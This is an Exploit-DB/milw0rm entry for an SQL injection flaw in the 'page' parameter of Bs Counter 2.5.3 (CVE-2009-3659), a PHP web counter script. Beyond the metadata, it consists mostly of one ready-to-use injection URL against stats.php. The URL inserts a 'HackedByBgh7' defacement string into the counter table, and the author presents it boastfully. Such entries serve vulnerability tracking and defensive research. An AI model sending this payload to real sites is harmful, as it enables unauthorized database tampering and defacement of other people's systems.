Bs Counter 2.5.3 - 'page' SQL Injection

Author: Bgh7
type: webapps
platform: php
port: 0
date_added: 2009-09-13
date_updated: 
verified: 1
codes: OSVDB-58900;CVE-2009-3659
tags: 
aliases: 
screenshot_url: 
application_url: 

Bs Counter 2.5.3 (page) Sql İnjectşon Vuln.

Bgh7
Turk Bilisim Gucleri
Script Downlaod
http://scripti.org/indir.php?id=595

Expl0it;
http://www.target.com/file/stats.php?page='insert+into+counter+(countertitle)+values+('HackedByBgh7 tu bi gu')
Bingoo  ! counter name ediT =)

# milw0rm.com [2009-09-14]
↑